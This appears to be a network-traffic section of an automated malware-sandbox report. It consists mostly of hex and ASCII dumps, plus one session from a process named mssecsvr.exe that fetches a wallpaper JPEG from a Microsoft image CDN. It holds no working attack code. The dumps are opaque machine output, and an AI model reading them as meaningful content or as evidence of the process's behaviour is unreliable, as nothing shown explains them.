2022-07-20 11:24:38 UTC	6383	IN	Data Raw: 0d 68 99 0c ce 01 e3 c3 b7 59 a0 30 a3 20 b8 28 3f 4f 0b 9b 85 ca ba c8 1b 24 15 e6 14 a1 03 81 a9 d6 cc a0 d1 87 59 a8 1d bb bc 7f 5b de d1 1c ea 07 61 ec a9 20 71 a1 8c ef 21 20 37 03 ec fd 3a 33 0b a7 14 66 49 14 14 e3 db 4a 12 38 d1 b8 ae 82 c7 ba 32 1d 39 4a b5 39 85 75 88 0b 23 d2 42 6c 1d b4 e3 a1 15 06 eb d9 db 51 7a dc 1e c8 65 02 85 19 4a 9e 1d b5 6e 5e f7 71 b4 7e 32 b3 63 c6 23 6e 2b 1d ad 51 d8 0f 7b e2 5f d7 d0 71 c8 8e a8 c6 a1 10 90 40 02 a4 12 bd 26 fb 36 eb 44 f9 0e d9 01 91 98 a8 1c 2a 7e d7 bb ae 2b 9f 4e 96 25 b5 a8 06 d4 68 85 de 31 c6 e0 94 01 78 0e df 31 fd 9d 79 80 92 44 cd 90 47 05 a9 8c b0 e0 4f b5 95 5b 5a 57 74 71 09 81 79 55 8d 5e 9d a7 c5 fa be 1d 1d 83 b9 29 6e 6e d5 5e 0c dc 78 d2 de 7f dd d0 9b 30 a6 e3 43 d9 ea ab dc 5e Data Ascii: hY0 (?O$Y[a q! 7:3fIJ829J9u#BlQzeJn^q~2c#n+Q{_q@&6D*~+N%h1x1yDGO[ZWtqyU^)nn^x0C^
2022-07-20 11:24:38 UTC	6399	IN	Data Raw: 7e 68 19 41 5b 00 2c 2d 20 f6 8f 64 97 73 24 76 fe b7 82 dd 78 d9 53 4a a6 49 6c 35 e2 b6 51 55 40 15 fc 45 b6 49 39 63 f1 5f cd a1 77 bd a3 23 33 14 62 c2 03 ab 90 c5 c1 e6 b4 15 2c 8b f6 6e 8f 5a 3f d2 72 84 a9 0e 03 20 8e da ca e7 b3 f9 69 62 db cd 2d 91 df 2f 83 c5 e6 d1 91 21 c0 10 55 5b 5b df d0 2a 9c c6 e2 d4 64 d9 f9 25 01 c6 21 d1 14 1b 90 76 03 dd 47 f8 6d 5b 35 a6 09 66 ce 91 fa aa 13 82 dc 24 1d a0 f7 7d f6 d1 f1 6d 86 cb 62 2a b0 8a 5c cb 45 a9 ef 3f 2b dd cb e3 4f e2 27 dd 4d 66 b0 47 69 6e fd 40 b4 13 69 f7 2e 63 f6 79 5f bd aa 79 91 80 42 81 7f 4f 7a b8 c6 dc 4f 0a d1 f9 8c 87 0f 8a d4 ea 22 a8 8d 3b a2 a4 73 71 e5 e4 b7 b9 a0 5f 70 96 27 48 6d 6b 82 dc c5 ab cb 41 ce be 2b 99 59 ee fd 7f 7b 44 e4 c4 d2 e5 46 c1 0c 99 0a 82 40 d5 22 95 f2 Data Ascii: ~hA[,- ds$vxSJIl5QU@EI9c_w#3b,nZ?r ib-/!U[[d%!vGm[5f$}mb\E?+O'MfGin@i.cy_yBOzO";sq_p'HmkA+Y{DF@"
2022-07-20 11:24:38 UTC	6406	IN	Data Raw: fa bc ba 67 ea 68 b6 fd b7 79 93 f2 01 16 19 11 5e a8 f7 2d 7f 77 e1 d7 9b 18 93 d2 a9 2b 7c a3 96 dc 43 94 69 2c 5e c6 6e 5b 63 fd df e6 69 9e 76 f7 87 b8 43 d4 cc 8d 72 72 1a 31 56 7a 90 18 06 8d 3a 31 72 74 53 9a fb 2e f8 93 b9 a0 6d be 59 f3 19 3e 60 25 b7 95 0c 69 65 12 36 39 b7 56 7e 5d 67 c3 bd dd cf bd 49 70 6c 14 31 0a ff 00 96 be 1c aa 66 29 cd 4c be c2 7b 7d 9a 08 4a df 96 2c 6a 79 a8 e3 cc 3d ed 31 69 52 3c 65 52 68 6d b5 aa 7d a3 bb db ee b5 ba 99 9d c9 e0 18 d2 be cd 6d ff 00 4e fb 65 0a 5f 3b dd 88 f4 33 d6 ae f7 77 ca a5 d7 5c 58 5a f4 f6 1c d0 f3 16 55 a4 65 54 16 3c 00 d1 a3 26 18 c1 76 e7 5f 6d 0d 2a 35 2b d6 99 01 62 e1 c5 6b 42 38 fd ed 64 72 1e 41 55 3d 9e cd 36 9b af 2d 48 b6 bc 40 f4 52 69 bf 25 4a b0 f4 e9 54 59 bb 95 a8 7a 3c ac Data Ascii: ghy^-w+\|Ci,^n[civCrr1Vz:1rtS.mY>`%ie69V~]gIpl1f)L{}J,jy=1iR<eRhm}mNe_;3w\XZUeT<&v_m*5+bkB8drAU=6-H@Ri%JTYz<
2022-07-20 11:24:38 UTC	6422	IN	Data Raw: 92 1c 80 54 63 c6 18 44 40 3d cb a3 7f 96 f1 4b cd e4 e5 f8 b5 bf 33 d5 32 66 4e b8 33 99 16 e5 1c 11 43 10 dc fd 49 7a b5 49 2c fb cd a4 59 ca ed 19 cb c3 f9 99 71 00 82 80 9b d0 b7 de 66 8d ae 68 fe 37 f7 75 84 9b d4 be 9b 9e 37 b5 3f 37 1b 03 90 80 df 19 41 fc 1f 0f e1 bb f9 bf 16 ff 00 0d 9a 43 e6 3f ed b9 36 b2 c9 82 87 8e 25 ce 37 63 8d f2 f0 d2 fb bd 94 bb 59 1d 24 e8 5d 43 f8 d5 ba 2a f2 69 a6 c9 fc ae 1b db 72 13 25 af 50 18 52 fe 61 fc c5 ff 00 cd a7 b8 38 38 a8 25 8c 22 16 49 fa aa 94 e1 19 e1 d2 b1 7c bd eb bd ed 73 e6 f5 7e 16 e2 ff 00 9e 81 e6 59 11 8d 11 95 4a 80 45 ed 6f 33 3d bc bf 8a cd cb dc d6 5b 1e e9 9b b7 cd 95 33 12 d0 bf 16 00 b1 21 80 8d 9f be bf 8a fd 5b ba 3c bd 3b 39 3b da f2 72 6c 26 31 9f e5 95 17 c3 a7 27 67 a5 91 8f f6 76 Data Ascii: TcD@=K32fN3CIzI,Yqfh7u7?7AC?6%7cY$]C*ir%PRa88%"I\|s~YJEo3=[3![<;9;rl&1'gv
2022-07-20 11:24:38 UTC	6438	IN	Data Raw: 9b 5c a0 ca d8 2f 60 24 7a cd 2d 36 e1 9e 3c 63 37 3a e2 29 5e 0e 3e 5e 62 f5 63 5b 52 b4 b9 8d a3 fe 3a d8 36 7c f8 59 a6 54 20 2d 4d e0 82 29 e2 64 65 3c df 67 54 19 61 65 ab 00 05 69 68 02 81 40 e5 5e 5f 87 5a 23 8b a6 e8 e4 f0 60 6b fd ba d1 1b 0d 05 d8 de ae bb 6d c3 28 2f a9 a5 19 31 36 5d 2c a2 4e 9d b1 50 8a 9e f3 59 77 ff 00 66 da d5 b5 86 c9 ca 48 e9 e2 e6 fa 87 8b 54 79 b2 63 e4 b9 69 50 49 2d b6 ab f1 af d5 dd 6e 67 5f 06 94 e5 24 b8 b1 54 ce 24 91 cd 59 50 10 01 ef 73 b5 16 f7 75 b3 54 96 23 1b 02 df 77 d0 bf 86 a2 48 e4 16 ca e0 b6 87 e1 a6 db 8c 29 b9 49 6c 24 23 54 f0 63 f4 77 79 57 ee eb e3 83 f9 d8 a3 c5 6b 06 42 ad 95 af 02 01 e4 91 ff 00 e5 fe 1b db e1 b3 53 b8 f9 cd 0b de 78 fd 3a a3 53 26 3a a4 b2 8a 17 a5 41 e3 40 c3 ba cb e7 b7 bf Data Ascii: \/`$z-6<c7:)^>^bc[R:6\|YT -M)de<gTaeih@^_Z#`km(/16],NPYwfHTyciPI-ng_$T$YPsuT#wH)Il$#TcwyWkBSx:S&:A@
2022-07-20 11:24:38 UTC	6446	IN	Data Raw: bb ac 3d a3 cd a3 47 b3 85 50 2f 7b c7 54 db ec 4c 2b e5 83 6b 9d 0f a6 9d 62 63 a6 d5 0f e5 18 50 05 34 65 14 32 13 fc 47 6e f7 d9 d6 58 73 c8 15 28 c5 81 26 8a 4f 28 3d d5 6a 68 50 f2 b2 aa 4c 4b 5a 39 49 ed a7 d7 ad 4e ed 8a 84 28 e7 e2 54 fb 07 f8 b4 ea 22 20 02 da 0e 35 e8 a1 da 43 0c 43 30 0d f8 fb 54 cf 2b 67 db b1 52 64 35 ea ba 8b 61 3c 15 4b 7f 1d 64 5f 0c 7f c3 8f c3 e3 bb 50 32 91 14 ad d4 4e 70 dc 29 ed 35 ef 69 e0 91 e4 9d 64 95 cb 49 5a 12 4f 1a 69 56 74 ca d7 ba 8e 31 b9 23 e1 27 9b fb da c4 f9 94 51 ba 06 4e a1 70 7d 62 bc ff 00 cd 7e 5e 8d 07 9a 82 d2 26 5c 4f 52 f8 68 7c 8c 88 9a 33 23 1b 4d 79 45 38 93 fd db 75 57 e9 89 24 48 0b 46 79 8d 4d 0f bc 2d 66 fb 2b a8 36 94 1a 81 47 56 20 80 78 81 f1 77 7e 1d 3e c0 ca 9a 3c 68 d5 18 ad 05 38 Data Ascii: =GP/{TL+kbcP4e2GnXs(&O(=jhPLKZ9IN(T" 5CC0T+gRd5a<Kd_P2Np)5idIZOiVt1#'QNp}b~^&\ORh\|3#MyE8uW$HFyM-f+6GV xw~><h8
2022-07-20 11:24:38 UTC	6462	IN	Data Raw: d9 58 4b bb e3 02 05 aa 2a 50 8e 36 1f 10 4f 72 ee f4 7f 6b bd ad 89 63 c2 e6 10 01 1d 4b e2 af 5a bb 55 4f 31 76 cb 88 b5 a4 8b 4c 24 c7 c3 4a b2 e1 9e 34 e2 b5 a0 24 91 c7 85 7b f4 d6 50 63 c9 24 6b 6d 0b ad 49 a9 02 da 5b 41 c7 bc da 1a 49 72 31 e7 e9 49 ca e0 1e 3f 57 6d de f2 eb ec 8d c7 af d3 1d da 25 a4 0f d3 aa 2c c8 49 37 20 70 b5 01 80 53 60 78 7a 79 75 a6 71 c6 b0 d5 9e 45 af 7a 8b f5 eb e9 22 8e 42 72 15 bb a7 88 fa 78 70 5d 28 c6 73 7a a9 3c b5 a1 d3 6c c5 18 e8 b0 0e f2 d6 ea 7d 27 4d 24 8a 63 b8 d3 1a 2c 60 b9 fa bf ba b5 62 67 00 c6 39 d0 35 7b a4 54 10 6b a0 77 2c 9e 9e 48 9d 5a d7 b2 af 4f bb fa da d6 b2 59 2a b7 d0 6b ad 4f d1 12 3a e4 73 24 ac 63 63 4e 23 c5 1c 91 fb df b5 dc d6 5e e7 73 94 78 b6 a7 2b a9 a5 7e 61 b9 fe 9e 00 e3 af 3c Data Ascii: XKP6OrkcKZUO1vL$J4${Pc$kmI[AIr1I?Wm%,I7 pS`xzyuqEz"Brxp](sz<l}'M$c,`bg95{Tkw,HZOYkO:s$ccN#^sx+~a<
2022-07-20 11:24:38 UTC	6478	IN	Data Raw: 71 ba 2a 61 c0 24 03 9c 28 a5 7e 92 79 75 13 ce 5e 45 06 ec 4f 1b f6 b5 55 10 2c 6d 6d 39 78 d4 ee 13 63 64 e5 4d 1e 4a 97 e9 47 f2 f8 f0 0d 55 ed 1e 25 b6 fd 18 d9 13 43 88 e9 09 b4 b4 66 ef 80 95 ba 9f ab a9 dc 24 92 1c 8c 83 5a f3 05 e3 ed d1 f9 19 2e 66 bc 9a 12 85 7f ab 46 92 2e 70 01 b8 d0 d8 d7 2f 4e b4 46 df 11 b1 56 b6 ac a6 c5 1f 4d 39 d9 be f7 cb d6 4b 0c bb b6 3e 51 dc 1d 9a 54 54 0c 57 bd 48 f9 5a de 16 bd 88 9d df 15 8f ad 33 e5 33 cd 12 e3 48 b0 b4 2a a8 92 3d 2d 56 fe 63 fb b7 e8 ad a6 53 85 89 d7 92 41 d6 12 87 e3 c4 b0 02 45 7b 7c d7 bb db f6 b5 47 0c 17 cc 1d 44 ae 3e 2e af f0 d4 c6 07 4f f6 9e ca b1 18 ca be 8f 48 87 10 98 d7 03 f6 ae bb 53 90 87 5c 48 fa e7 89 17 b9 3f a3 92 bf 0a 5b ab 52 83 17 66 18 b9 6b 63 1c 78 d6 c3 f4 b1 63 66 Data Ascii: qa$(~yu^EOU,mm9xcdMJGU%Cf$Z.fF.p/NFVM9K>QTTWHZ33H=-VcSAE{\|GD>.OHS\H?[Rfkcxcf
2022-07-20 11:24:38 UTC	6486	IN	Data Raw: 93 f8 be 4e 4f 36 9b fa 7f 33 10 34 98 85 02 f5 a2 26 d2 6a 2a 01 b2 df 8f cb a6 cf 84 db 6f a6 a4 97 0e 12 cf 92 54 39 8d 6b 6c 51 8e 4e ad 9c df 39 93 9b fe 66 9c 96 77 b3 6d d5 4a 99 19 70 61 dd 12 75 37 c3 8d 07 6e 4f 5b 35 fa b8 d4 5c ec 25 66 97 8d d7 12 3e 80 39 85 bf 66 ed 58 6e b9 38 f9 7b 2e d5 8b 8f ca f2 72 b2 fd 69 c9 56 f8 9e 5b f5 15 57 48 0a 29 bc 80 cd c3 db 4f 6e 98 ec 45 a4 6c 69 5b 8d a2 bf d9 56 d5 b7 11 06 0a f7 fe 13 16 51 e9 e4 6a 3a 3d 85 c7 6d 74 68 76 fa 04 5e d1 1a 85 07 f4 0d 0b be 44 b8 2f 87 33 70 55 91 99 8f d4 02 b3 69 ee de 81 91 17 e9 00 9f ec d2 df 5d 43 5c 7c 7f 61 63 28 fe d4 d7 9b 8a 52 77 0a 8c 74 39 7e 16 a2 a0 d6 f5 ca 36 64 c8 dc ff 00 33 bc c8 6d 89 1a c4 5f 61 2e dd df b0 bc cf aa 9d c3 e6 16 03 d8 87 fb 40 d6 Data Ascii: NO634&j*oT9klQN9fwmJpau7nO[5\%f>9fXn8{.riV[WH)OnEli[VQj:=mthv^D/3pUi]C\\|ac(Rwt9~6d3m_a.@
2022-07-20 11:24:38 UTC	6502	IN	Data Raw: c7 dd af 73 d8 c5 b6 43 43 43 45 1f da 1c e9 76 34 00 98 1c f0 5a dc 4f c2 3a 8d fb 1a 7d ba 26 3f e4 54 64 33 00 0a 85 28 2b 5a 2f d6 57 cd a1 a5 96 2c 7d be 27 00 b2 32 b2 0a f0 24 31 64 6e 65 ee f2 5f a3 ed e4 1a 68 4e 4e 6f 6a 6d 93 8d b8 d8 00 6a 2f 31 cb 90 fe d6 24 9f eb d1 d8 58 b1 42 57 aa b7 39 e3 db c0 68 ed a7 1a 2c ec f8 cb 42 3a 11 f1 75 b8 f1 fb 7e 1d 5c 2f a6 f6 27 76 9c 89 d5 18 f2 a5 c0 2a f0 fc 3b e8 ce f7 37 8b 5e a7 6d b5 79 a2 06 35 b8 e1 6b f3 56 9c 1f 29 de 6e e1 12 40 0e 04 b2 e5 7c 7a 69 2e df 8d 1a c6 1d 05 aa 4d 68 3b 35 5f 89 85 f9 ad ce 37 ed 56 8d bf 75 b4 34 1b 3c 19 a0 63 ed c4 ab d4 d9 0b fb 41 37 58 b3 56 db b9 bc 6a bd dd 50 fa 72 20 72 e3 2c 39 95 0f fe 16 6b c6 7c f3 6d b9 d9 33 34 cb 8e 41 f0 3d 4a 55 ba 79 aa 9f fb Data Ascii: sCCCEv4ZO:}&?Td3(+Z/W,}'2$1dne_hNNojmj/1$XBW9h,B:u~\/'v*;7^my5kV)n@\|zi.Mh;5_7Vu4<cA7XVjPr r,9k\|m34A=JUy
2022-07-20 11:24:38 UTC	6518	IN	Data Raw: 58 44 69 dd 8e 27 23 ea 2f cb a5 63 c9 e6 50 ba 0b 9d 3d ec ab 56 12 91 a1 5e dd 3d ee 5a 86 83 6e 9f 30 2c f1 10 ed 3e 41 8c a8 ed 0c dc d1 7f eb 73 59 f0 3e 9f 64 e5 0c 8d d5 e1 5e e8 0c ab 4e cb 50 2c 29 f6 79 74 a7 d1 fb b3 e0 64 18 59 6f 8d c1 65 af 86 44 1d 58 65 5f 81 fc 3e 56 7d 7d b4 b1 ff 00 54 72 fc 0a c7 c2 bf a5 75 bd 32 5d 9e fd c5 38 7b af 53 d9 72 4f 0a 73 e9 9c 7f c9 a6 44 ce 39 9d 88 af eb 30 fd 8d 67 39 79 dc b0 25 8d 28 07 e9 3f bd ad c1 84 0a 63 1c 10 13 d8 6b c4 9b 9f 8f c5 a5 32 e6 2c 53 44 ea 4d 7a e8 0f d1 c3 49 2a b4 b2 33 8e 27 fe ca 5e 42 ac 47 a3 fe ca 12 0c b7 c1 c4 9b 29 08 07 bb 1f 0a 9f d6 d6 1b 0e e3 d4 75 92 75 12 50 90 e1 80 21 be 25 6e f6 bc de 71 83 91 1a 38 11 ab 31 65 e2 2d e3 c9 7b 11 67 37 b9 a1 f1 65 8f 18 29 8c Data Ascii: XDi'#/cP=V^=Zn0,>AsY>d^NP,)ytdYoeDXe_>V}}Tru2]8{SrOsD90g9y%(?ck2,SDMzI*3'^BG)uuP!%nq81e-{g7e)
2022-07-20 11:24:38 UTC	6526	IN	Data Raw: 50 c4 02 2a 07 e9 e0 ff 00 7b 4b 6f 20 69 63 c1 74 d5 2f ee 86 56 a7 e3 c4 13 7e d0 40 fe ca 7b ea dc 7e ac 71 e5 28 e4 b8 07 3f 57 1b 2b f0 ea 5a 69 01 48 d1 4d 45 a7 86 aa b6 09 d7 79 c5 93 06 63 cc 63 2b c4 f1 e3 cd 1b af c2 d6 e9 26 66 cf 99 b7 c6 99 72 63 ba 46 a4 06 2d 41 50 79 78 2b 73 7e ae 87 b7 61 1f e4 39 19 21 e5 f6 b2 e9 a0 ed c9 bb 2b 69 63 e8 a2 36 f0 b3 6d bd 17 65 8c 12 d5 76 ec 02 be ef 36 96 e6 66 63 ad 06 31 76 2a 00 bd a8 2b 4f 2c 63 fb fa 3a 57 51 b7 90 9c 05 87 f6 b5 35 76 9d da c6 4b 34 82 e0 86 3a 53 10 4c f1 48 ae a6 ce 84 d9 85 34 87 71 98 ab 37 6a ad 2a 75 f6 3e 74 b0 4a b3 03 42 0d 18 1e 00 a9 e5 75 fb 49 ad 9b 54 0b 34 24 49 dc 69 16 e2 7b 02 8e 63 ac b7 98 e3 25 5e 22 6d 2c c1 41 f2 8e ee 8f 24 e6 46 68 98 69 da 7d 9a d9 9b Data Ascii: P{Ko ict/V~@{~q(?W+ZiHMEycc+&frcF-APyx+s~a9!+ic6mev6fc1v+O,c:WQ5vK4:SLH4q7j*u>tJBuIT4$Ii{c%^"m,A$Fhi}
2022-07-20 11:24:38 UTC	6542	IN	Data Raw: a2 a0 c1 bd c6 ef 57 be ba 48 77 6d 95 d0 0b f2 23 37 c5 f4 82 bc d2 7d 96 8f 5c 12 1c 79 f7 2c 8a 40 95 62 7d 9c 00 f8 8f 87 5d 4f 67 dd 8e e5 bc bf 13 d0 91 9a 8a 7d 8b ff 00 97 5c f2 5d cf 23 66 c9 96 0c 47 a4 69 23 80 a4 02 0d 18 f7 ae d7 b3 ff 00 6e 86 db 07 da 3d ed cb 30 f6 7c ce a5 a4 64 dc 34 e0 bc 56 d4 95 19 74 e4 9d ff 00 8a a8 f7 68 1e 34 8a 47 a5 cc a0 31 1e 65 e5 d2 a0 c7 b5 7d 9a 2f 1b 7a ff 00 5b c3 90 4e 15 66 88 86 01 78 02 0f 7a 8b a5 9d 42 8e 47 b1 85 0e 98 81 1d 4b c2 c2 c0 16 fe ce a5 fb b5 91 e5 95 38 c8 39 bb d6 a6 fb c4 ac 71 21 90 f8 aa 38 7d 3a 5f 95 2d 9b 7c 70 81 c7 a8 5c 9f a8 8b 75 eb e6 75 b0 9b 16 4e 26 36 0c 9f f8 36 b1 78 4c 91 a8 f0 90 3f ab 45 d9 41 22 02 85 47 13 7b f8 7a d6 ae e1 54 29 f5 eb 7a 45 39 24 81 a7 de 9c Data Ascii: WHwm#7}\y,@b}]Og}\]#fGi#n=0\|d4Vth4G1e}/z[NfxzBGK89q!8}:_-\|p\uuN&66xL?EA"G{zT)zE9$
2022-07-20 11:24:38 UTC	6558	IN	Data Raw: 2a 43 89 20 9b 26 5c 86 34 67 56 73 4f a4 9f f1 68 84 21 40 fd 24 e9 56 de cd f3 1e 9c 05 aa 4f de 36 fe ae 8c 69 e9 1b 1f 6e 8b b6 81 83 31 3a 9e 93 ea 55 ac 7d ca b3 49 66 39 1d 35 ac 24 7a f5 38 f6 29 a7 f6 6b 5e 03 58 8a 09 a9 d2 dc 89 c9 89 d8 7d 43 fb 4e 9b 7a 77 0b fd 4d 5d 55 ed 78 d0 b9 14 ed 00 f7 57 de d2 db d0 10 33 13 cb 7d 7d 54 ca c1 78 b1 0b 76 66 b7 f6 2d 50 c3 2a 34 6a 83 bd 5a d7 41 6e f9 83 1c 43 8c 78 3c cd 70 fa a3 5e 5f fd c7 fd 8d 67 b7 66 46 80 c7 30 40 2b 5b 8a f3 01 f1 eb 7f e6 b1 77 49 28 c8 af 14 2c b1 ad c0 56 da da 39 bb dd ee 6e f6 b2 15 31 92 e5 49 51 a9 3f 87 ef 55 c6 3b 62 24 23 32 bc a1 57 c5 e2 fa 77 aa 33 27 32 95 48 fb 2b c7 eb d0 61 cb 9a 93 c7 5d 57 2b fd ba da b7 04 0f 8b 21 c7 90 f0 e0 6a 87 ec 3f 77 ef 6a 67 2f Data Ascii: C &\4gVsOh!@$VO6in1:U}If95$z8)k^X}CNzwM]UxW3}}Txvf-P4jZAnCx<p^_gfF0@+[wI(,V9n1IQ?U;b$#2Ww3'2H+a]W+!j?wjg/
2022-07-20 11:24:38 UTC	6565	IN	Data Raw: d8 3f f4 66 15 c6 7d cc c6 c4 ab c7 dd 46 e7 e8 8f ec 7c 59 53 fb 6d dc 10 dd 51 d4 06 cb 4c bc 54 2f ae 30 d2 30 72 e3 70 86 e5 b9 7e 93 ee fb da e4 79 b9 02 49 09 0d c4 9d 5f fa b7 72 39 ea ff 00 97 8d 99 9d 6d 8a 4a d0 0f 7d 50 f9 ad b6 ed 72 ac ac 2c 8d b6 56 c7 ca 16 ca 87 9b 8d 7f 59 7b da 8f 94 ed da 38 b0 94 da 45 ee 9e ac 68 13 34 4e f7 4b 30 ed b1 ed ad b3 48 c8 4b 57 b6 a0 68 17 6e 3d ba d7 23 96 f6 fb 75 8f 16 e1 ad e4 4c 68 25 14 dc db ea a2 f1 50 b3 0a 1a 13 ed d1 fb a6 31 11 45 18 37 33 b3 53 fa 80 fe f6 87 db e0 af d1 5a eb 76 f9 29 49 97 11 38 3c 6a 6b c7 cd cd c3 ec db a1 02 5a 70 17 d6 4d 2c a4 79 a0 2a e5 6d 58 d2 89 ed 80 18 23 6b 8f 8d 87 b4 8f 0a fb 9a d4 91 d4 f6 eb 18 56 a7 8e 8a 09 4a 1d 34 5b 1d 2f 4c 68 ba f6 56 71 02 c2 95 d1 Data Ascii: ?f}F\|YSmQLT/00rp~yI_r9mJ}Pr,VY{8Eh4NK0HKWhn=#uLh%P1E73SZv)I8<jkZpM,y*mX#kVJ4[/LhVq

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.7	50599	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:37 UTC	1021	OUT	GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 11:24:37 UTC	1054	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4PtWe?ver=aadd Last-Modified: Sun, 17 Jul 2022 19:15:33 GMT X-Source-Length: 1675066 X-Datacenter: northeu X-ActivityId: be4c5f6a-3fc7-47d3-a344-5a38aa52b54e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1675066 Cache-Control: public, max-age=201014 Expires: Fri, 22 Jul 2022 19:14:51 GMT Date: Wed, 20 Jul 2022 11:24:37 GMT Connection: close
2022-07-20 11:24:37 UTC	1054	IN	Data Raw: ff d8 ff e1 27 d7 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 32 30 3a 33 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: 'ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:20:328"
2022-07-20 11:24:37 UTC	1136	IN	Data Raw: a5 6d 0a ae 47 4d cc ab 2a bc 2c 6a 85 75 64 7a 86 97 82 e2 f7 96 fb ec 76 1d ae ad d6 33 77 e8 d9 53 ff 00 73 fe dd 5a 9d 2e ec 9c 8e 97 5b 03 5a de 9d 8f 93 63 45 a5 cd f4 6c ae bb 1e ff 00 d2 b9 f6 d4 db bd 26 7d 0f 66 cb ff 00 9b ff 00 07 62 6e b5 83 92 fc 1a 2d 36 e3 e5 d9 83 75 6f 6d 9b 89 73 eb 6b bd 94 b2 f6 fb dd 5f a7 6f af 6b 29 af f4 7f e6 57 4d a1 93 87 39 88 90 f5 4e 56 3c 7e 58 e4 e1 e3 f6 f8 f8 91 fa 3e 41 1d fd 3b a3 d3 90 ca 6d 7b 81 f4 b6 dc c7 d0 e0 00 21 d4 fa bb 5c dd f7 3b 1f d9 ea 55 b7 df fd 22 bf f0 94 e4 71 9f 64 bf f7 8f f3 9f 64 fa 7f e1 3f d2 ff 00 57 fd 7d 45 db e7 7d 61 e9 e0 b8 63 62 da 2c b9 e1 d5 39 ef 01 b2 c2 6c 05 df cf b7 d5 7b 9f fa 46 57 e8 fa ec fe 7b fd 12 c5 fd ad 67 fd c5 c7 fe 91 f6 8f cf fe 73 fc ef e7 7f ee Data Ascii: mGM*,judzv3wSsZ.[ZcEl&}fbn-6uomsk_ok)WM9NV<~X>A;m{!\;U"qdd?W}E}acb,9l{FW{gs
2022-07-20 11:24:37 UTC	1174	IN	Data Raw: 74 74 79 49 6d 61 67 65 73 5f 31 37 35 37 35 35 30 33 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 36 3a 33 36 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 5c 51 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 51 34 32 30 31 36 5f 5a 61 62 72 69 73 6b 69 65 50 6f 69 6e 74 5f 47 65 74 74 79 49 6d 61 67 65 73 5f 35 34 37 34 30 38 38 36 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 36 3a 33 39 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 Data Ascii: ttyImages_175755036_1080x1920.jpg saved 2016-07-08T16:36:39-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_Batch2\Crops\Q4-125-Batch2_Q42016_ZabriskiePoint_GettyImages_547408861_1080x1920.jpg saved 2016-07-08T16:39:50-07:00 Fi
2022-07-20 11:24:37 UTC	1225	IN	Data Raw: 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 50 65 67 67 79 73 43 6f 76 65 43 61 6e 61 64 61 5f 47 65 74 74 79 49 6d 61 67 65 73 5f 31 31 37 33 31 30 32 32 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 38 3a 34 34 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 5c 51 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 45 6c 2d 6e 69 64 6f 50 68 69 6c 69 70 70 69 6e 65 73 5f 35 30 30 70 78 5f 31 32 38 32 30 39 35 30 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 Data Ascii: 4-125-Batch2_PeggysCoveCanada_GettyImages_117310221_1080x1920.jpg saved 2016-07-08T18:44:24-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_Batch2\Crops\Q4-125-Batch2_El-nidoPhilippines_500px_128209505_1080x1920.jpg saved 2016-07-0
